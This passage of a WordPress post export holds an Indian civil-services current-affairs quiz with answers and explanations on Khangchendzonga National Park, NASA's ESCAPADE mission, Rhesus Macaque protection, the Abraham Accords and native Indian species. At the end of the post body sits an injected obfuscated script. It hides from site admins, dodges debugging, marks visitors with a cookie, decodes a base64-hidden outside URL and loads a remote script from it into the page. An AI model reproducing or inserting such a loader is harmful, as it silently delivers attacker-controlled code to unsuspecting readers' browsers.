forms part of the <strong>Eastern Himalayas biodiversity hotspot<\/strong>. <strong>Hence statement 4 is incorrect.<\/strong><\/li>\n\n\n\n<li>It includes <strong>Mount Khangchendzonga (8,586 m)<\/strong> \u2014 the <strong>third highest peak in the world<\/strong>.<\/li>\n\n\n\n<li>The park features <strong>diverse ecosystems<\/strong>, ranging from <strong>subtropical forests<\/strong> to <strong>glaciers and snowfields<\/strong>.<\/li>\n\n\n\n<li>It contains over <strong>280 glaciers<\/strong> and <strong>more than 70 glacial lakes<\/strong>, including the <strong>Zemu Glacier<\/strong>.<\/li>\n\n\n\n<li>Important animal species found here include <strong>Snow Leopard, Clouded Leopard, Red Panda, Blue Sheep, Himalayan Tahr, and Musk Deer<\/strong>. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li>Notable bird species include the <strong>Impeyan Pheasant<\/strong>, <strong>Satyr Tragopan<\/strong>, and <strong>Blood Pheasant<\/strong>.<\/li>\n\n\n\n<li>For the <strong>Lepcha community<\/strong>, the area is sacred and known as <em>Mayel Lyang<\/em> (\u201chidden paradise\u201d).<\/li>\n\n\n\n<li>In <strong>Tibetan Buddhism<\/strong>, the region is considered a <strong>beyul<\/strong> \u2014 a sacred hidden valley of peace and spirituality.<\/li>\n\n\n\n<li>The park includes important cultural sites such as <strong>Tholung Monastery<\/strong>.<\/li>\n\n\n\n<li>The <strong>Khangchendzonga Biosphere Reserve<\/strong>, designated in 2018, connects the core park with buffer zones where locals practice <strong>sustainable agriculture<\/strong>.<\/li>\n\n\n\n<li>Conservation efforts involve <strong>community participation<\/strong> and <strong>transboundary cooperation<\/strong> with <strong>Nepal\u2019s Kanchenjunga Conservation Area<\/strong>.<\/li>\n\n\n\n<li>It effectively managed recent <strong>glacial lake outburst flood (GLOF)<\/strong> threats through <strong>hazard mapping<\/strong> and preparedness.<\/li>\n\n\n\n<li>In the <strong>IUCN 2024 assessment<\/strong>, it was rated <strong>\u201cGood\u201d<\/strong>, making it the <strong>only Indian natural World Heritage Site<\/strong> with a positive status. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>Other Indian natural World Heritage Sites like the <strong>Western Ghats<\/strong> and <strong>Sundarbans<\/strong> are listed under <strong>\u201cserious concern.\u201d<\/strong><\/li>\n\n\n\n<li>The park serves as a <strong>model for people-nature coexistence<\/strong>, blending biodiversity conservation with cultural values.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2020)<\/strong> <br><br><strong>Q. With reference to India\u2019s Desert National Park, which of the following statements are correct?<\/strong> <br><br>1. It is spread over two districts. <br>2. There is no human habitation inside the Park. <br>3. It is one of the natural habitats of the Great Indian Bustard. <br><br><strong>Select the correct answer using the code given below:<\/strong> <br><br>(a) 1 and 2 only <br>(b) 2 and 3 only <br><strong>(c) 1 and 3 only<\/strong> <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-98 wp-block-paragraph\" style=\"color:#0130ff\"><strong>Source: <\/strong><a href=\"https:\/\/www.newsonair.gov.in\/khangchendzonga-national-park-rated-good-by-iucn-only-indian-site-with-positive-status\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.newsonair.gov.in\/khangchendzonga-national-park-rated-good-by-iucn-only-indian-site-with-positive-status\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>7. What is \u2018ESCAPADE Mission\u2019, recently in the news?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\">(a) NASA\u2019s mission to send humans to explore Mars<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\">(b) NASA\u2019s twin-spacecraft mission to study Mars\u2019 atmosphere and magnetic environment<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">(c) ESA\u2019s satellite mission to investigate Venus\u2019 clouds for the presence of charged particles<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\">(d) JAXA\u2019s telescope project to search for nearby exoplanets<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>Answer: (b) NASA\u2019s twin-spacecraft mission to study Mars\u2019 atmosphere and magnetic environment.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>In NEWS: <\/strong>NASA&#8217;s ESCAPADE Mission to find life on Mars<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>ESCAPADE Mission:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-108\">\n<li>The Escape and Plasma Acceleration and Dynamics Explorers (ESCAPADE) is a <strong>twin-spacecraft mission to Mars aimed at studying how the solar wind interacts with Mars\u2019 magnetic environment and contributes to the loss of its atmosphere.<\/strong> <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>The mission is led by the Space Sciences Laboratory at the University of California, Berkeley, in collaboration with NASA\u2019s Goddard Space Flight Center and Rocket Lab, and is scheduled for launch in fall 2025.<\/li>\n\n\n\n<li>ESCAPADE\u2019s main goals are to understand how energy and momentum from the solar wind are transferred through Mars\u2019 magnetosphere, how weak magnetic fields guide charged particles, and what processes drive atmospheric escape.<\/li>\n\n\n\n<li>By using two orbiters simultaneously, the mission will capture plasma and magnetic field data from different regions around Mars, providing dynamic, multi-point observations that single-spacecraft missions cannot achieve.<\/li>\n\n\n\n<li>ESCAPADE also represents a cost-effective approach to planetary exploration, using small, efficient spacecraft and commercial launch systems.<\/li>\n\n\n\n<li>Its results will enhance understanding of how solar wind interactions shape planetary atmospheres, not only on Mars but across the solar system.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><br><strong>Q. What is \u2018Greased Lightning-10 (GL-10)\u2019, recently in the news?<\/strong> <br><br><strong>(a) Electric plane tested by NASA<\/strong> <br>(b) Solar-powered two-seater aircraft designed by Japan <br>(c) Space observatory launched by China <br>(d) Reusable rocket designed by ISRO<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-109 wp-block-paragraph\" style=\"color:#002fff\"><strong>Source: <\/strong><a href=\"https:\/\/timesofindia.indiatimes.com\/science\/nasa-launches-escapade-mission-to-find-life-on-mars-how-does-the-mission-work\/articleshow\/125188484.cms\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/timesofindia.indiatimes.com\/science\/nasa-launches-escapade-mission-to-find-life-on-mars-how-does-the-mission-work\/articleshow\/125188484.cms<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>8. Consider the following statements :<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>Statement-I: <\/strong>Under Schedule II listing of the Wildlife (Protection) Amendment Act 2022, hunting or illegal capturing or trading of Rhesus Macaque are strictly prohibited without exceptions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\"><strong>Statement-II: <\/strong>The species is facing increasing human-monkey conflict, trafficking, and ecological role disruptions, thus necessitating stricter legal safeguards.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\">(a) Both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\">(b) Both Statement-I and Statement-II are correct and Statement-II is not the correct explanation for Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">(c) Statement-I is correct but Statement-II is incorrect<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">(d) Statement-I is incorrect but Statement-II is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>Answer: (d) Statement-I is incorrect but Statement-II is correct<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\"><strong>In NEWS: <\/strong>Panel seeks higher protection for Rhesus Macaque under Wildlife Act<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"434\" height=\"288\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image-12.png\" alt=\"\" class=\"wp-image-2713\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-12.png 434w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-12-300x199.png 300w\" sizes=\"auto, (max-width: 434px) 100vw, 434px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"425\" height=\"289\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image-13.png\" alt=\"\" class=\"wp-image-2714\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-13.png 425w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-13-300x204.png 300w\" sizes=\"auto, (max-width: 425px) 100vw, 425px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>Rhesus Macaque \u2013 Protection under Wildlife (Protection) Act, 1972<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-122\">\n<li>The <strong>Standing Committee of the National Board for Wildlife (NBWL)<\/strong> has recommended <strong>restoring higher protection<\/strong> to the <em>Rhesus Macaque (Macaca mulatta)<\/em> under the Wildlife (Protection) Act, 1972.<\/li>\n\n\n\n<li>The Rhesus Macaque is one of the <strong>most widespread primate species<\/strong> in India, found across northern and central parts of the country.<\/li>\n\n\n\n<li>It was earlier listed in <strong>Schedule II, Part I<\/strong>, of the Wildlife (Protection) Act. After the <strong>2022 Amendment<\/strong> to the Act, it was <strong>shifted to Schedule IV<\/strong>, which provides a <strong>lower degree of legal protection<\/strong>.<\/li>\n\n\n\n<li>The recent panel recommendation seeks to <strong>move it back to Schedule II<\/strong> to ensure <strong>stricter penalties<\/strong> against illegal capture, trade, and cruelty.<\/li>\n\n\n\n<li>Several <strong>States such as Madhya Pradesh, Gujarat, and Uttarakhand<\/strong> have supported the proposal for enhanced protection.<\/li>\n\n\n\n<li>Some <strong>States like Assam, Uttar Pradesh, and Punjab<\/strong> have opposed it, citing the <strong>species\u2019 abundance and human\u2013monkey conflict<\/strong>.<\/li>\n\n\n\n<li>The NBWL directed <strong>States to prepare site-specific management and mitigation plans<\/strong> for monkey\u2013human conflict areas.<\/li>\n\n\n\n<li>The <strong>Wildlife Institute of India (WII)<\/strong> has been asked to undertake <strong>baseline population and distribution studies<\/strong> of the species.<\/li>\n\n\n\n<li>The panel also recommended <strong>strengthening rescue and rehabilitation centres<\/strong> to handle conflict and rescued animals.<\/li>\n\n\n\n<li>The species is currently listed as <strong>\u201cLeast Concern\u201d<\/strong> on the <strong>IUCN Red List<\/strong>, but is under pressure from <strong>urbanisation, habitat loss, and illegal trade<\/strong>.<\/li>\n\n\n\n<li>The proposal aims to strike a balance between <strong>animal welfare, ecological protection, and human safety<\/strong>.<\/li>\n\n\n\n<li>Higher protection will help regulate <strong>research use, captive management, and inter-state movement<\/strong> of the species.<\/li>\n\n\n\n<li>The move reflects growing recognition that <strong>abundant species can still face welfare and conservation issues<\/strong> if poorly managed.<\/li>\n\n\n\n<li>The decision will take effect only after <strong>notification by the Ministry of Environment, Forest and Climate Change (MoEFCC)<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q. Consider the following statements :<\/strong> <br><br><strong>Statement-I: <\/strong>Marsupials are not naturally found in India. <br><strong>Statement-II: <\/strong>Marsupials can thrive only in montane grasslands with no predators. <br><br><strong>Which one of the following is correct in respect of the above statements?<\/strong> <br><br>(a) Both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I <br>(b) Both Statement-I and Statement-II are correct and Statement-II is not the correct explanation for Statement-I <br><strong>(c) Statement-I is correct but Statement-II is incorrect<\/strong> <br>(d) Statement-I is incorrect but Statement-II is correct<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-123 wp-block-paragraph\" style=\"color:#0015ff\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/india\/panel-seeks-higher-protection-for-rhesus-macaque-under-wildlife-act-10352785\/#:~:text=The%20standing%20committee%20of%20the,protection%2C%20enforcement%20against%20illegal%20capture%2C\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/india\/panel-seeks-higher-protection-for-rhesus-macaque-under-wildlife-act-10352785\/#:~:text=The%20standing%20committee%20of%20the,protection%2C%20enforcement%20against%20illegal%20capture%2C<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>9. Consider the following countries:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\">1. United Arab Emirates<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\">2. Morocco<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\">3. Iran<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\">4. Bahrain<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\">5. Jordan<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>Which of the above are the signatories of the Abraham Accords?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\">(a) 1, 2 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\">(b) 1 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\">(c) 2 and 5<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\">(d) 3, 4 and 5<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>Answer: (a) 1, 2 and 4<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>In NEWS: <\/strong>Kazakhstan to join Abraham Accords as Trump pushes Mideast peace<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\"><strong>Abraham Accords<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-139\">\n<li>The <strong>Abraham Accords<\/strong> are a series of <strong>U.S.-brokered agreements<\/strong> to <strong>normalize relations between Israel and several Arab countries<\/strong>.<\/li>\n\n\n\n<li>They were <strong>signed in September 2020<\/strong> at the <strong>White House<\/strong>, Washington D.C.<\/li>\n\n\n\n<li>The accords were mediated by the <strong>United States<\/strong>, under the <strong>Trump administration<\/strong>.<\/li>\n\n\n\n<li>The first signatories were <strong>Israel<\/strong>, <strong>United Arab Emirates (UAE)<\/strong>, and <strong>Bahrain<\/strong>.<\/li>\n\n\n\n<li>Later, <strong>Sudan<\/strong> and <strong>Morocco<\/strong> also joined the agreement framework. <strong>Hence option (a) 1, 2 and 4 is correct.<\/strong><\/li>\n\n\n\n<li>The term \u201cAbraham\u201d symbolizes the <strong>common patriarch<\/strong> of Judaism, Christianity, and Islam \u2014 highlighting interfaith peace.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>Objectives<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\">1. To establish <strong>formal diplomatic, economic, and security relations<\/strong> between Israel and Arab states.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\">2. To <strong>promote regional peace, stability, and cooperation<\/strong> in the Middle East.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\">3. To counter the influence of <strong>Iran<\/strong> and <strong>extremist groups<\/strong> in the region.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\">4. To strengthen <strong>trade, investment, technology, and defence partnerships<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>Key Provisions<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-146\">\n<li>Establishment of <strong>embassies<\/strong> and <strong>direct flights<\/strong> between Israel and partner nations.<\/li>\n\n\n\n<li>Cooperation in areas like <strong>tourism, healthcare, energy, and technology<\/strong>.<\/li>\n\n\n\n<li>U.S. commitment to <strong>regional security and arms agreements<\/strong> (e.g., sale of F-35 jets to UAE).<\/li>\n\n\n\n<li>Promotion of <strong>religious tolerance and interfaith dialogue<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>Significance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-148\">\n<li>Marked the <strong>first Arab\u2013Israeli peace agreement in 26 years<\/strong>, after Jordan (1994).<\/li>\n\n\n\n<li>Led to <strong>expanded trade and investment<\/strong> between Israel and Gulf nations.<\/li>\n\n\n\n<li>Strengthened the <strong>U.S. strategic presence<\/strong> in the Middle East.<\/li>\n\n\n\n<li>Created a new <strong>strategic bloc<\/strong> countering Iran\u2019s regional influence.<\/li>\n\n\n\n<li>Encouraged <strong>technological and defence cooperation<\/strong> between Israel and Arab states.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>Criticism &amp; Challenges<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\">1. The accords <strong>sidestep the Palestinian issue<\/strong>, offering no concrete progress toward a two-state solution.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\">2. They are seen by critics as <strong>politically motivated<\/strong> to isolate Iran.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\">3. Some Arab nations, including <strong>Saudi Arabia<\/strong>, have not yet joined due to <strong>domestic and religious sensitivities<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\">4. The <strong>Gaza conflict (2023\u201325)<\/strong> has strained relations between Israel and Arab signatories.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><br><strong>Q. Consider the following countries :<\/strong> <br><br>1. Armenia <br>2. Azerbaijan <br>3. Croatia <br>4. Romania <br>5. Uzbekistan <br><br><strong>Which of the above are members of the Organization of Turkic States?<\/strong> <br><br>(a) 1, 2 and 4 <br>(b) 1 and 3 <br><strong>(c) 2 and 5<\/strong> <br>(d) 3, 4 and 5<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-154 wp-block-paragraph\" style=\"color:#0004fb\"><strong>Source: <\/strong><a href=\"https:\/\/economictimes.indiatimes.com\/news\/international\/world-news\/kazakhstan-to-join-abraham-accords-as-trump-pushes-mideast-peace\/articleshow\/125147194.cms?from=mdr\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/economictimes.indiatimes.com\/news\/international\/world-news\/kazakhstan-to-join-abraham-accords-as-trump-pushes-mideast-peace\/articleshow\/125147194.cms?from=mdr<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong>10.&nbsp;&nbsp; Consider the following:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\">1. Star tortoise<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\">2. Monitor lizard<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\">3. Pygmy hog<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\">4. Spider monkey<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><strong>Which of the above are naturally found in India?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\">(a) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\">(c) 1 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\"><strong>Answer: (a) 1, 2 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-166\">\n<li>Star tortoise, Monitor lizard, and Pygmy hog are native to India.<\/li>\n\n\n\n<li>Spider monkey is not found in India; it is native to Central and South America. <strong>Hence option (a) is correct.<\/strong><\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Consider the following statements: 1. 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